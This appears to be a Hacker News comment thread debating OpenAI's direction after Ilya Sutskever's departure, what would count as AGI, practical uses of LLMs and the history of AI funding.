Top 6 science guys are long gone. Open AI is run by marketing, business, software and productization people.
When the next wave of new deep learning innovations sweeps the world, Microsoft eats whats left of them. They make lots of money, but don't have future unless they replace what they lost.
AI has now evolved beyond just the science and it's biggest issue is in the productization. Finding use cases for what's already available ALONG with new models will be where success lies.
ChatGPT is the number 1 brand in AI and as such needs to learn what it's selling, not how its technology works. It always sucks when mission and vision don't align with the nerds ideas, but I think it's probably the best move for both parties.
Pretty weak take there bud. If we just look at the Gartner Hype Cycle that marketing and business people love so much it would seem to me that we are at the peak, just before the downfall.
They are hyping hard to sell more, when they should be prepping for the coming dip, building their tech and research side more to come out the other side.
Regardless, a tech company without the inventors is doomed to fail.
I'm siding with you here. The same is happening at Google, but they definitely have momentum from past decades, so even if they go "full Boeing", there's a long way to fall.
Meanwhile, OpenAI (and the rest of the folks riding the hype train) will soon enter the trough. They're not diversified and I'm not sure that they can keep running at a loss in this post-ZIRP world.
You are on point my friend. OpenAI might keep going on with the current momentum for several years without a doubt. But they already lost the long term game. The true essence of the OpenAI empire is not its showmen or PR guys, it's the scientists like Ilya. What a shame to see Ilya leaving. I hope whatever he creates is a rival AI product to stop this OpenAI monopoly and put up some interesting competition.
OpenAI launched gpt3 on June 11, 2020. That's probably the biggest lead they'll ever have over the competition. Over the past several months, I've gotten to the point where OpenAI could vanish tomorrow and I honestly wouldn't miss it. Claude 3 Opus, DBRX, and Llama 3 are at least as good at the tasks that I spend most of my time doing. And if Google can get itself figured out, Gemini Pro has a lot of potential.
They do need both but it seems like they have enough engineering talent to keep improving. Time will tell now that Ilya is out but I expect they have enough cultural cache to attract excellent engineers even if they aren’t as famous as Ilya and Karpathy.
They have a strong focus on making the existing models fast and cheap without sacrificing capability which is music to the ears of those looking to build with them.
I love the way you used "cultural cache" here Lol. In any case I do hope whatever Ilya is building is some sort of AI competition to stop this OpenAI monopoly.
Things have been moving fast because we had a bunch of top notch scientists in companies paired with top notch salesmen/hype machines. But you need both in combination.
Hypemen make promises that can't be kept, but get absurd amounts of funding for doing so. Scientists fill in as many of the gaps as possible, but also get crazy resources due to the aforementioned funding. Obviously this train can't go forever, but I think you might understand that one of these groups is a bit more important than the other while one of these groups is more of a catalyst (makes things happen faster) for the other.
Ilya is one of the Founders of the original nonprofit. This is also an issue. It does look like he was not the Founder or in any control of the for profit venture.
For a lot of (very profitable) use cases, hallucinations and 80/20 are actually more than good enough. Especially when they are replacing solutions that are even worse.
Any use case where you treat the output like the work of a junior person and check it. Coding, law, writing. Pretty much anywhere that you can replace a junior employee with an LLM.
Google or Meta (don't remember which) just put out a report about how many human-hours they saved last year using transformers for coding.
All the usecases we see. Take a look at perplexity optimising short internet research. If I get this mostly right its fine enough, saved my 30 minutes of mindless clicking and reading - even if some errors are there.
It works fine for some things. You just need a clearly defined task where LLM + human reviewer is on average faster (ie cheaper) than a human doing the same task themselves without that assistance.
Given the fact that you need to review, research, and usually correct every detail of AI output, how can that be faster than just doing it right yourself in the first place? Do you have some examples of such tasks?
Yes. There's the one that $employer built a POC app for and found did in fact save time. There's also github copilot which apparently a large chunk of people find saves time for them (and which $employer is reviewing to figure out if they can identify which people / job functions benefit precisely enough to pay for group licensing).
The AI isn’t the product, e.g. the ChatGPT interface is the main product that is layered above the core AI tech.
The issue is trustworthiness isn’t solvable by applying standard product management techniques on a predictable schedule. It requires scientific research.
To this end, OpenAI is already off track. Their “GPT marketplace” or whatever they’re calling it is just misguided flailing from a product perspective.
Ain’t there this pattern that innovations comes in waves and that the companies of the first wave most often just die but the second and third wave a build upon their artefacts and can be successful in a longer run?
I see this coming for sure for open ai and I do my part by just writing this comment on HN.
I think you massively underestimate the power of viral media coverage and the role it plays in building a “brand.” You’ll never replicate the Musk/Altman/Satya soap opera again. ChatGPT will forever be in the history books as the Kleenex of LLM AI.
But this race to add 'AI' into everything is producing a lot of nonsense. I'd rather go fullsteam ahead on the science and the new models, because that is what will actually get us something decent, rather than milking what we already have.
Agree in general. While there remains issues on making/using AI, there is plenty of utility that doesn't require new science but maturation of deployment. For those who say its junk, I can only speak for myself and disagree.
If we look at history of innovation and invention it’s very typical the original discovery and final productization are done by different people. For many reasons, but a lot of them are universal I would say.
E.g. Oppenheimer’s team created the bomb, then following experts finetuned the subsequent weapon systems and payload designs. Etc.
> If we look at history of innovation and invention it’s very typical the original discovery and final productization are done by different people.
You don't really need to look at history, that's basically science vs engineering in a nutshell.
Maybe history could tell us if that's an accident or a division that arose out of 'natural' occurrence, but I suppose a question for an economist or psychologist or sociologist how natural that could really be anyway or if it's biased by e.g. academics not financially motivated because it happens that there isn't money there; so they don't care about productising; leaving it for others who are so motivated.
With abombs for weapons systems design they needed people who just got huge kicks out of explosions (not kidding here). I guess it’s partially about personal internal motivations, and it might be more of a chance wether the thing you are intrinsically motivated to do falls under engineering or science (in both cases you get the feeling the greats did stuff they wanted to do regardless of the categorizations applied to their discipline - you get more capital affinity in engineering ofc).
> that's basically science vs engineering in a nutshell
Right, because those are two very different things. Science is about figuring out truths of how reality works. Engineering is about taking those truths and using them to make useful things.
People often talk in a way that conflates the two, but they are completely different activities.
how do you know that is actually currently their true goal. it appears to me that the goal has shifted, and the people that cared about the original goal are leaving.
An AGI could replace human experts at tasks that doesn't require physical embodiment, like diagnosing patients, drafting contracts, doing your taxes etc. If you still do those manually and not just offload all of it to ChatGPT then you would greatly benefit from a real AGI that could do those tasks on their own.
And no, using ChatGPT like you use a search engine isn't ChatGPT solving your problem, that is you solving your problem. ChatGPT solving your problem would mean it drives you, not you driving it like it works today. When I hired people to help me do taxes they told me what papers they needed and then they did my taxes correctly without me having to look it through and correct them, an AGI would work like that for most tasks, it means you no longer need to think or learn to solve problems since the AGI solves them for you.
> An AGI could replace human experts at tasks that doesn't require physical embodiment, like diagnosing patients, drafting contracts, doing your taxes etc.
How come the goal posts for AGI are always the best of what people can do?
I can't diagnose anyone, yet I have GI.
Reminds me of:
> Will Smith: Can a robot write a symphony? Can a robot take a blank canvas and turn it into a masterpiece?
> How come the goal posts for AGI are always the best of what people can do?
Not the best, I just want it to be able to do what average professionals can do because average humans can become average professionals in most fields.
> I can't diagnose anyone, yet I have GI.
You can learn to, an AGI system should be able to learn to as well. And since we can copy AGI learning it means that if it hasn't learned to diagnose people yet then it probably isn't an AGI, because an AGI should be able to learn that without humans changing its code and once it learned it once we copy it forever and now the entire AGI knows how to do it.
So, the AGI should be able to do all the things you could do if we include all versions of you that learned different fields. If the AGI can't do that then you are more intelligent than it in those areas, even if the singular you isn't better at those things than it is.
For these reasons it makes more sense to compare an AGI to humanity rather than individual humans, because for an AGI there is no such thing as "individuals", at least not the way we make AI today.
If they can't learn then they don't have general intelligence, without learning there are many problems you wont be able to solve that average (or even very dumb) people can solve.
Learning is a core part to general intelligence, as general intelligence implies you can learn about new problems so you can solve those. Take away that and you are no longer a general problem solver.
That's a really good point. I want to define what I think of intelligence as being so we are on the same page: it is the combination of knowledge and reason. An example of a system with high knowledge amd low reason is Wikipedia. An example of a system with high reason and low knowledge is a scientific calculator. A highly intelligent system exhibits aspects of both.
A rule based expert intelligence system can be highly intelligent, but it is not general, and maybe no arrangement of rules could make one that is general. A general intelligence system must be able to learn and adapt to foreign problems, parameters, and goals dynamically.
Yes, I think that makes sense, you can be intelligent without being generally intelligent. For some definitions the person with Alzheimer can be more intelligent than someone without, but the person without is more general intelligent thanks to ability to learn.
The classical example of a general intelligent task is to get the rules for a new game and then play it adequately, there are AI contests for that. That is easy for humans to do, games are enjoyed even by dumb people, but we have yet to make an AI that can play arbitrary games as well as even dumb humans.
Note that LLMs are more general than previous AI's thanks to in context learning, so we are making progress, but still far from as general as humans are.
Let's take a step back from LLMs. Could you accept the network of all interconnected computers as a generally intelligent system? The key part here that drives me to ask this is:
> ChatGPT solving your problem would mean it drives you, not you driving it like it works today.
I had a very bad Reddit addiction in the past. It took me years of consciously trying to quit in order to break the habit. I think I could make a reasonable argument that Reddit was using me to solve its problems, rather than myself using it to solve mine. I think this is also true of a lot of systems - Facebook, TikTok, YouTube, etc.
It's hard to pin down all computers as an "agent" in the way we like to think about that word and assign some degree of intelligence to, but I think it is at least an interesting exercise to try.
Companies are general intelligences and they use people, yes. But that depends on humans interpreting that data reddit users generates and updating their models, code and algorithms to adapt to that data, the computer systems alone aren't general intelligences if you remove the humans.
An AGI could run such a company without humans anywhere in the loop, just like humans can run such a company without an AGI helping them.
I'd say a strong signal that AGI has happened are large fully automated companies without a single human decisionmaker in the company, no CEO etc. Until that has happened I'd say AGI isn't here, if that happens it could be AGI but I can also imagine a good enough script to do it for some simple thing.
The simplest answer, without adding any extraordinary capabilities to the AGI that veer into magical intelligence, is to have AI assistants that can seemlessly interact with technology the way a human assistant would.
So, if you want to meet with someone, instead of opening you calendar app and looking for an opening, you'd ask your AGI assistant to talk to their AGI assistant and set up a 1h meeting soon. Or, instead of going on Google to find plane tickets, you'd ask you AGI assistant to find the most reasonable tickets for a certain date range.
This would not require any special intelligence more advanced than a human's, but it does require a very general understanding of the human world that is miles beyond what LLMs can achieve today.
Going only slightly further with assumptions about how smart an AGI would be, it could revolutionize education, at any level, by acting as a true personalized tutor for a single student, or even for a small group of students. The single biggest problem in education is that it's impossible to scale the highest quality education - and an AGI with capabilities similar to a college professor would entirely solve that.
The examples you're providing seem to have been thoroughly solved already.
I'm at the European AI Conference for our startup tomorrow, and they use a platform that just booked me 3 meetings automatically with other people there based on our availability... It's not rocket science.
And you don't even need those narrow tools. You could easily ask GPT-4o (or lesser versions) something along the lines of :
> "you're going to interact with another AI assistant to book meetings for me: [here would be the details about the meeting]. Come up with a protocol that you'll send to the other assistant so it can understand what the meetings are about, communicate you their availability, etc. I want you to come up with the entire protocol, send it, and communicate with the other assistant end-to-end. I won't be available to provide any more context ; I just want the meeting to be booked. Go."
GPT-4(o) lacks the ability to connect to any of the tools needed to achieve what I'm describing. Sure, it maybe could give instructions about how this could be done, but it can't actually do it. It can't send an email to your email account, and it can't check your incoming emails to see if any arrived asking for a meeting. It can't then check your calendar, and propose another email, or book a time if the time is available. It doesn't know that you normally take your lunch at some time, so that even though the spot is free, you wouldn't want a meeting at that time. And even if you did take the considerable amount of effort to hook it up with all of these systems, it's failure rate is still far too high to rely on it for such a thing.
And getting it to actually buy stuff like plane tickets on your behalf would be entirely crazy.
Sure, it can be made to do some parts of this for very narrowly defined scenarios, like the specific platform of a single three day conference. But it's nowhere near good enough for dealing with the general case of the messy general world.
I had a (human) assistant in my previous business, super-smart MBA type, and by your definition she wasn't a general intelligence on the day of onboarding:
- she didn't have access to my email account or calendar
- she didn't know my usual lunch time hours
- she didn't have a company card yet.
All of those points you're raising are logistics, not intelligence.
Intelligence is "When trying to achieve a goal, can you conceive of a plan to get there despite adverse conditions, by understanding them and charting/reviewing a sequence of actions".
You can definitely be an intelligent entity without hands or tools.
I'm pretty certain your assistant learned to do all of those things more or less on her own. Of course, you shared your schedule and email with them, and similarly, you'd have to share your schedule and email with an AGI.
But you certainly didn't have to write a special program for your assistant to integrate with your inbox, they just used an existing email/calendar client and looked at their screen.
GPT-4 is nowhere near able to interact with, say, the Gmail web page at this level. And even if you created the proper integrations, it's nowhere near the level that it could read all incoming email and intelligently decide, with high accuracy, which emails necessitate updates to your calendar, which don't, and which necessitate back-and-forth discussions to negotiate a better date for you.
Sure, your assistant didn't know all of this on day one, but they learned how to do it on their own, presumably with a few dozen examples at most. That is the mark of a general intelligence.
I think we're disagreeing on the current capacity of models, as much as we're disagreeing about the definition of AGI.
I'm pretty sure, from previous interactions with GPT-4o and from their demos, that if you used their desktop app (which enables screensharing) and asked it to tell you where to click, step-by-step, in the Gmail web page, it would be able to do a pretty good job of navigating through it.
Let's remember that the Gmail UI is one of the most heavily documented (in blogs, FAQs, support pages, etc) in the world. I can't see GPT-4o having any difficulty locating elements in there.
I think the intelligence part is to think of any potential logistical obstacles and figure out ways to deal with them with minimal disruption except when necessary because of potential conflicts with other goals.
> Sure, it maybe could give instructions about how this could be done [...]
If you were in a room with no computer, would you consider yourself to be not intelligent enough to send an email? Does the tooling you have access to change your level of intelligence?
This is definitely an interesting way to look at it. My initial reaction is to consider that I can enhance the capabilities of a system without increasing its inteligence. For example, if I give a monkey a hammer, it can do more than it could do when it didn't have the hammer, but it is not more intelligent (though it could probably learn things by interacting with the world with the hammer). That leads me to think: can we enhance the capabilities of what we call "AI systems" to do these things, without increasing their intelligence? It seems like you can glue GPT-4o to some calendar APIs to do exactly this. This seems more like an issue of tooling rather than an issue of intelligence to me.
I guess the issue here is: can a system be "generally intelligent" if it doesn't have access to general tools to act on that intelligence? I think so, but I also can see how the line is very fuzzy between an AI system and the tools it can leverage, as really they both do information processing of some sort.
I'm sure some aspects of this can be achieved by manually programming GPT-4 links to other specific services. And obviously, some interaction tools would have to be written manually even for an AGI.
The difference though is the amount of work. Today if you wanted GPT-4 to work as I describe, you would have to write an integration for Gmail, another one for Office365, another one for Proton etc. You would probably have to create a management interface to give access to your auth tokens for each of these to OpenAI so they can activate these interactions. The person you want to sync with would have to do the same.
In contrast, an AGI that only has average human intelligence, or even below, would just need access to, say, Firefox APIs, and should easily be able to achieve all of this. And it would work regardless if the other side is a different AGI using a different provider, or even if they are just a regular human assistant.
> The single biggest problem in education is that it's impossible to scale the highest quality education
Do you work in education? Because I don't think many who do would agree with this take.
Where I live, the single biggest problem in education is that we can't scale staffing without increasing property taxes, and people don't want to pay higher property taxes. And no, AGI does not fix this problem, because you need staff to be physically present in schools to deal with children.
Even if we had an AGI that could do actual presentation of coursework and grading, you need a human being in there to make sure they behave and to meet the physical needs of the students. Humans aren't software to program around.
Having individual tutors for each child is not often discussed because it is self-evidently impossible for any cost whatsoever - it would require far too high a percentage of the workforce of a country to be dedicated to education. But it is the most responsible thing for the difference between the education the elites get, especially the elites of the past, and the general education.
Sure, this doesn't mean you could just fire all teachers and dissolve all schools. You still need people to physically be there and interact with the children in various ways. But if you could separate the actual teaching from the child care part, and if you could design individualized courses for each child with something approaching the skill of the best teachers in the whole world, you would get an inconceivably better educational system for the entire population.
And I don't need to work in education for much of this. Like all others, I was intimately acquainted with the educational system (in my country) for 16 years of my life through direct experience, and much more since in increasingly less direct experience. I have very very good and very direct experience of the variance between teachers and the impact that has on how well students understand and interact with the material.
That's like claiming you know how to run a restaurant because you like to eat out. Or worse actually, since you're extrapolating your individual experience from a small set of educational systems to education as a whole.
If you're looking for insight into the problems faced in education, speak to educators. I really doubt they would tell you that the quality of individual instructors is their biggest problem.
Educators don't like to discuss the performance of other educators, as most professionals don't like to diss their colleagues, especially not in front of their customers. But the quality of educators is absolutely a huge problem, so huge that there are even consecrated sayings about it (those who can, do; those who can't, teach). So huge that one of the most well known rock anthems of all time is about the poor quality of educators (Pink Floyd's Another Brick in the Wall Part II).
Educators are the best people to ask about how to make their jobs easier. They are not necessarily the best people to ask about how to make children's education better.
Edit:
> That's like claiming you know how to run a restaurant because you like to eat out.
No, it's like claiming you know some things about the problems of restaurants, and about the difference between good and bad restaurants, after spending 8+ hours a day almost every day, for 16 years, eating out at restaurants. Which I think would be a decent claim.
> This would not require any special intelligence more advanced than a human's, but it does require a very general understanding of the human world that is miles beyond what LLMs can achieve today.
Does it? I am quite certain those things are achievable right now without anything like AI in the sense being discussed here.
Show me one product that can offer me an AI assistant that can set up a meeting with you at a time that doesn't contradict any of our plans, given only my and your email address.
I've never looked into actual products as this isn't something I'm interested in. I'm just saying that accomplishing this can be done without involving AI of the sort being discussed here. I'm not sure what such AI would bring to the table for this sort of task.
> given only my and your email address.
AI or not, such an application would need more than just email addresses. It would need access to our schedules.
My point is that an AGI would give you this use case for free. Currently this kind of product, AI or not, simply doesn't exist. It's in principle doable, but the number of integrations required makes it uneconomical. An AGI assistant could use the same messy interfaces we use, and thus it would be compatible with every email provider and client ever created.
> AI or not, such an application would need more than just email addresses. It would need access to our schedules.
It needs access to my schedule, yes, but it only needs your email address. It can then ask you (or your own AGI assistant) if a particular date and time is convenient. If you then propose another time, it can negotiate appropriately.
A working memory that can preserve information indefinitely outside a particular context window and which can engage in multi-step reasoning that doesn't show up in its outputs.
GPT4o's context window is 128k tokens which is somewhere on the order of 128kB. Your brain's context window, all the subliminal activations from the nerves in your gut and the parts of your visual field you aren't necessarily paying attention to is on the order of 2MB. So a similar order of magnitude though GPT has a sliding window and your brain has more of an exponential decay in activations. That LLMs can accomplish everything they do just with what seems analogous to human reflex rather than human reasoning is astounding and more than a bit scary.
Looking up an estimate of the brain's input bandwidth at 10 million bits per second and multiplying by the second or two a subliminal stimuli can continue to affect a person's behavior. This is a very crude estimate and probably an order of magnitude off, but I don't think many orders of magnitude off.
Solve CO2 Levels
End sickness/death
Enhance cognition by integrating with willing minds.
Safe and efficient interplanetary travel.
Harness vastly higher levels of energy (solar, nuclear) for global benefit.
Science:
Uncover deeper insights into the laws of nature.
Explore fundamental mysteries like the simulation hypothesis, Riemann hypothesis, multiverse theory, and the existence of white holes.
Effective SETI
Misc:
End of violent conflicts
Fair yet liberal resource allocation (if still needed), "from scarcity to abundance"
The problem with CO2 levels is that no one likes the solution not that we don't have one. I highly doubt adding AGI to the mix is going to magically make things better. If anything we'll just burn more CO2 providing all the compute resources it needs.
People want their suburban lifestyle with their red meat and their pick-up truck or SUV. They drive fuel inefficient vehicles long-distances to urban work environments and they seem to have very limited interest in changing that. People who like detached homes aren't suddenly affording the rare instances of that closer to their work. We burn lots of oil because we drive fuel inefficient vehicles long distances. This is a problem of changing human preferences which you just aren't going to solve with an AGI.
Assuming embedded AI in every piece of robotics - sometimes directly, sometimes connected to a central server (this is doable even today) - it'll revolutionize industries: human-less mining, processing, manufacturing, services, and transportation. These factories would eventually produce and install enough solar power or build sufficient nuclear plants and energy infrastructure, making energy clean and free.
With abundant electric cars (at this future point in time) and clean electricity powering heating, transportation, and manufacturing, some AIs could be repurposed for CO2 capture.
It sounds deceptively easy, but from an engineering standpoint, it likely holds up. With free energy and AGI handling labor and thinking, we can achieve what a civilization could do and more (cause no individual incentives come into play).
However, human factors could be a problem: protests (luddites), wireheading, misuse of AI, and AI-induced catastrophes (alignment).
Having more energy is intrinsically dangerous, though, because it's indiscriminate: more energy cannot enable bigger solutions without also enabling bigger problems. Energy is the limiting factor to how much damage we can do. If we have way more of it, all bets are off. For instance, the current issue may be that we are indirectly cooking the planet through CO2 emissions, so capturing that sounds like a good idea. But even with clean energy, there is a point where we would cook the planet directly via waste heat of AI and gizmos and factories and whatever unforeseen crap we'll conjure just because we can. And given our track record I'm far from confident that we wouldn't do precisely that.
This exactly. Every self replicating organism will eventually use all the energy available to it, there will never be an abundance. From the dawn of time, mankind has similarly used every bit of energy it generates. From the perspective of a subsistence farmer in the 1600s, if you told them how much energy would be available in 400s year they would think we surely must live in paradise with no labor. Here we are, still metaphorically tilling the land.
Do you believe the average human has general intelligence, and do you believe the average human can intellectually achieve these things in ways existing technology cannot?
Yes, considering that AI operates differently from human minds, there are several advantages:
AI does not experience fatigue or distractions => consistent performance.
AI can scale its processing power significantly, despite the challenges associated with it (I understand the challenges)
AI can ingest and process new information at an extraordinary speed.
AIs can rewrite themselves
AIs can be multiplicated (solving scarcity of intelligence in manufacturing)
Once achieving AGI, progress could compound rapidly, for better or worse, due to the above points.
The first AGI will probably take way too much compute to have a significant effect, unless there is a revolution in architecture that gets us fast and cheap AGI at once the AGI revolution will be very slow and gradual.
A model that is as good as an average human but costs $10 000 per effective manhour to run is not very useful, but it is still an AGI.
> A model that is as good as an average human but costs $10 000 per effective manhour to run is not very useful, but it is still an AGI.
Geohot (https://geohot.github.io/blog/) estimates that a human brain equivalent requires 20 PFLOPS. Current top-of-the-line GPUs are around 2 PFLOPS and consume up to 500W. Scaling that linearly results in 5kW, which translates to approximately 3 EUR per hour if I calculate correctly.
But is it even clear what is the next big leap after LLM? I have the feeling many tend to extrapolate the progress of AI from the last 2 years to the next 30 years but research doesn't always work like that (though improvements in computing power did).
Extrapolating 2 years might give you a wrong idea, but extrapolating the last year suggests making another leap that was GPT3 or GPT4 is much, much more difficult. The only considerable breakthrough I can think of is Google's huge context window which I hope will be the norm one day, but in terms of actual results they're not mind-blowing yet. We see little improvements everyday and for sure there will be some leaps, but I wouldn't count on a revolution.
Unlike AI in the past, there is now massive amounts of money going into AI. And the number things humans are still doing significantly better than AI is going down continously now.
If something like Q* is provided organically with GPT5 (which may have a different name), and allows proper planning, error correction and direct interaction with tools, that gaps is getting really close to 0.
AI in the past (adjusted for 1980s) was pretty well funded. It's just that fundamental scientific discovery bears little relationship to the pallets of cash.
Funding in the 1980s was sometimes very good. My company bought me an expensive Lisp Machine in 1982 and after that, even in “AI winters” it mostly seemed that money was available.
AI has a certain mystique that helps get money. In the 1980s I was on a DARPA neural network tools advisory panel, and I concurrently wrote a commercial product that included the 12 most common network architectures. That allowed me to step in when a project was failing (a bomb detector we developed for the FAA) that used a linear model, with mediocre results. It was a one day internal consult to provide software for a simple one hidden layer backprop model. During that time I was getting mediocre results using symbolic AI for NLP, but the one success provided runway internally in my company to keep going.
You are right about funding levels, even taking inflation into account. Some of the infrastructure, like Connection Machines and Butterfly Machines seemed really expensive at the time though.
They only seem expensive because they're not expected to generate a lot of value (or military/strategic benefit).
Compare that the 6+ trillions that were spent in the US alone on nuclear weapons, and then consider, what is of greater strategic importance: ASI or nukes?
> AI in the past (adjusted for 1980s) was pretty well funded.
A tiny fraction of the current funding. 2-4 orders of magnitude less.
> It's just that fundamental scientific discovery bears little relationship to the pallets of cash
Heavy funding may not automatically lead to breakthroughs such as Special Relativity or Quantum Mechanics (though it helps there too). But once the most basic ideas are in place, massive is what causes the breakthroughs like in the Manhatten Project and Apollo Program.
And it's not only the money itself. It's the attention and all the talent that is pulled in due to that.
And in this case, there is also the fear that the competition will reach AGI first, whether the competition is a company or a foreign government.
It's certainly possible the the ability to monetize the investments may lead to some kind of slowdown at some point (like if there is a recession).
But it seems to me that such a recession will have no more impact on the development of AGI than the dotcom bust had for the importance of the internet.
> A tiny fraction of the current funding. 2-4 orders of magnitude less.
Operational costs were correspondingly lower, as they didn't need to pay electricity and compute bills for tens of millions concurrent users.
> But once the most basic ideas are in place, massive is what causes the breakthroughs like in the Manhatten Project and Apollo Program.
There is no reason to think that the ideas are in place. It could be that the local optimum is reached as it happened in many other technology advances before. The current model is mass scale data driven, the Internet has been sucked dry for data and there's not much more coming. This may well require a substantial change in approach and so far there are no indications of that.
From this pov monetization is irrelevant, as except for a few dozen researchers the rest of the crowd are expensive career tech grunts.
> There is no reason to think that the ideas are in place.
That depends what you mean when you say "ideas". If you consider ideas at the level of transformers, well then I would consider those ideas of the same magnitude as many of the ideas the Manhatten Project or Apollo Program had to figure out on the way.
If you mean ideas like going from expert system to Neural Networks with backprop, then that's more fundamental and I would agree.
It's certainly still conceivable that Penrose is right in that "true" AGI requires something like microtubules to be built. If so, that would be on the level of going from expert systems to NNs. I believe this is considered extremely exotic in the field, though. Even LeCun probably doesn't believe that. Btw, this is the only case where I would agree that funding is more or less irrelevant.
If we require 1-2 more breakthroughs on par with Transformers, then those could take anything from 2-15 years to be discovered.
For now, though, those who have predicted that AI development will mostly be limited by network size and the compute to train it (like Sutskever or implicitly Kurzweil) have been the ones most accurate in the expected rate of progress. If they're right, then AGI some time between 2025-2030 seems most likely.
Those AGI's may be very large, though, and not economical to run for a wider audience until some time in the 30's.
So, to summarize: Unless something completely fundamental is needed (like microtubules), which happens to be a fringe position, AGI some time between 2025 and 2040 seems likely. The "pessimists" (or optimists, in term of extinction risk) may think it's closer to 2040, while the optimists seem to think it's arriving very soon.
IMO their next big leap will be to get it cheap enough and integrated with enough real time sources to become the default search engine.
You can really flip the entire ad supported industry upside down if you integrate with a bunch of publishers and offer them a deal where they are paid every time an article from their website is returned. If they make this good enough people will pay $15-20 a month for no ads in a search engine.
I don’t think we’re even close to exhausting the potential of transformer architectures. gpt4o shows that a huge amount can be gained by implementing work done on understanding other media modalities. There’s a lot of audio that they can continue to train on still and the voice interactions they collect will go into further fine tuning. Even after that plays out there will be video to integrate next and thanks to physics simulations and 3D rendering there is a potentially endless and readily generated license free supply of it, at least for the simpler examples. For more complex real world video they could just set up web cams in public areas around the world where consent isn’t required by law and collect masses of data every second. Given that audio seems to have enabled emotional understanding and possibly even humour, I can’t imagine what all might fall out of video. At the least it’s going to improve reasoning since it will involve predicting cause and effect. There are probably a lot of others you could add though we don’t have large datasets for them.
Not saying it’s going to be the same, but I’m sure computing progress looked pretty unimpressive from, say, 1975 to 1990 for the uninitiated.
By the 90s they were still mainly used as fancy typewriters by “normal” people (my parents, school, etc) although the ridiculous potential was clear from day one.
It just took a looong time to go from pong to ping and then to living online. I’m still convinced even this stage is temporary and only a milestone on the way to bigger and better things. Computing and computational thought still has to percolate into all corners of society.
Again not saying “LLM’s” are the same, but AI in general will probably walk a similar path. It just takes a long time, think decades, not years.
Edit: wanted to mention The Mother of All Demos by Engelbart (1968), which to me looks like it captures all essential aspects of what distributed online computing can do. In a “low resolution”, of course.
They were amazing, and the progress was incredible, but both of those computers - while equally exciting and delightful to people who saw the potential - were met with ‘but what can I actually use it for?’ from the vast majority of the population.
By 1990 home computer use was still a niche interest. They were still toys, mainly. DTP, word processing and spreadsheets were a thing, but most people had little use for them - I had access to a Mac IIci with an ImageWriter dot matrix around that time and I remember nervously asking a teacher whether I would be allowed to submit a printed typed essay for a homework project - the idea that you could do all schoolwork on a computer was crazy talk. By then, tools like Mathematica existed but as a curiosity not an essential tool like modern maths workbooks are.
A big obstacle was that everything was on paper. We still had to do massive amounts of data entry.
For some strange reason html forms is an incredibly impotent technology. Pretty standard things are missing like radioboxes with an other text input. 5000+ years ago the form labels aligned perfectly with the value.
I can picture it already, ancient Mesopotamia, the clay tablet needs name and address fields for the user to put their name and address behind. They pull out a stamp or a roller.
Of course if you have a computer you can have stamps with localized name and address formatting complete with validation as a basic building block of the form. Then you have a single clay file with all the information neatly wrapped together. You know, a bit like that e-card no one uses only without half data mysteriously hidden from the record by some ignorant clerk saboteur.
We've also failed to hook up devices to computers. We went from the beautiful serial port to IoT hell with subscriptions for everything. One could go on all day like that, payments, arithmetic, identification, etc much work still remains. I'm unsure what kind of revolution would follow.
Talking thinking machines will no doubt change everything. That people believe it is possible is probably the biggest driver. You get more people involved, more implementations, more experiments, more papers, improved hardware, more investments.
One day at work about 10-15 years ago I looked at my daily schedule and found that on that day my team were responsible for delivering a 128kb build of Tetris and a 4GB build of Real Racing.
I don't think it particularly matters right now (practically speaking). It's going to take years for businesses and product companies to commoditize applications of LLMs, so while it's valuable for the Ilyas & Andrejs of the world to continue the good work of hard research, it's the startups, hyperscalers and SaaS companies who are creating business applications for LLMs that going to be the near term focus.
The majority of the developers may know what LLMs are in an abstract sense, but I meet very few that really realize what these are. These LLMs are an exponential leap in computational capability. The next revolution is going to be when people realize what we have already, because it is extremely clear the majority do not. RAG? Chatbots? Those applications are toys compared to what LLMS can do right now, yet everyone is dicking around making lusty chatbots or naked celebrities in private.
It is both subtle and obvious, yet many are missing this: if you want/need a deep subject matter expert in virtually any subject, write a narrative biography describing your expert using the same language that expert would use to describe themselves; this generates a context within the LLM carrying that subject matter expertise, and now significantly higher quality responses are generated. Duplicate this process for several instances of your LLM, creating a home brewed collection of experts, and have them collectively respond to one's prompts as a group privately, and then present their best solution. Now there is a method of generating higher reliability responses. Now turn to the fact that the LLMs are trained on an Internet corpus of data that contains the documentation and support forums for every major software application; using the building blocks described so far, it is not difficult at all to create agents that sit between the user and pretty much every popular software application and act as co-authors with the user helping them use that application.
I have integrated 6 independent, specialized "AI attorneys" into a project management system where they are collaborating with "AI web developers", "AI creative writers", "AI spreadsheet gurus", "AI negotiators", "AI financial analysts" and an "AI educational psychologist" that looks at the user, the nature and quality of their requests, and makes a determination of how much help the user really needs, modulating how much help the other agents provide.
I've got a separate implementation that is all home solar do-it-yourself, that can guide someone from nothing all the way to their own self made home solar setup.
Currently working on a new version that exposes my agent creation UI with a boatload of documentation, aimed at general consumers. If one can write well, as in write quality prose, that person can completely master using these LLMs to superior results.
>I have integrated 6 independent, specialized "AI attorneys" into a project management system where they are collaborating with "AI web developers", "AI creative writers", "AI spreadsheet gurus", "AI negotiators", "AI financial analysts" and an "AI educational psychologist" that looks at the user, the nature and quality of their requests, and makes a determination of how much help the user really needs, modulating how much help the other agents provide.
Ah yes, "it's so obvious no one sees it but me". Until you show people your work, and have real experts examining the results, I'm going to remain skeptical and assume you have LLMs talking nonsense to each each other.
The point is these characters are not doing the work for people, it co-authors the work with them. It's just like working with someone highly educated but with next to no experience - they're a great help, but ya gotta look at their work to verify they are on track. This is the same, but with a collection of inexperienced phds. The LLMs really are idiot savants, and when you treat them like that they respond with expectations better.
How can no one see what we have today? You only need six instances of an LLM running at the same time, with a system to coordinate between them, and then you have to verify the results manually anyway. Sign me up!
If a certain percent of the work is completed through research synthesis and multiple perspective alignment, why is said novel approach not worth lauding?
I've created a version of one of the resume GPTs that analyses my resume's fit to a position when fed the job description along with a lookup of said company. I then have a streamlined manner in which it points out what needs to be further highlighted or omitted in my resume. It then helps me craft a cover letter based on a template I put together. Should I stop using it just because I can't feed it 50 job roles and have it automatically select which ones to apply to and then create all necessary changes to documents and then apply?
but at some point, probably in the near future, they will. And then this system I have will already be in place, and that added capability will just arrive and integrate into all the LLM integrated systems I've made and they'll just improve.
I agree with OP, I think we still have no idea yet what dreams may come of the LLM's we have today. So no one will be able to "enlighten us" — perhaps not until we're looking in the rear-view mirror.
> They have the next iteration of GPT Sutskever helped to finalize
How do you know that they have the next GPT?
How do you know what Sutskever contributed? (There was talk that the most valuable contributions came from the less well known researchers not from him)
Except if you're Anthropic or OpenAI you don't care about what your compute provider has done in the AI space - you care about the compute power they can give you.
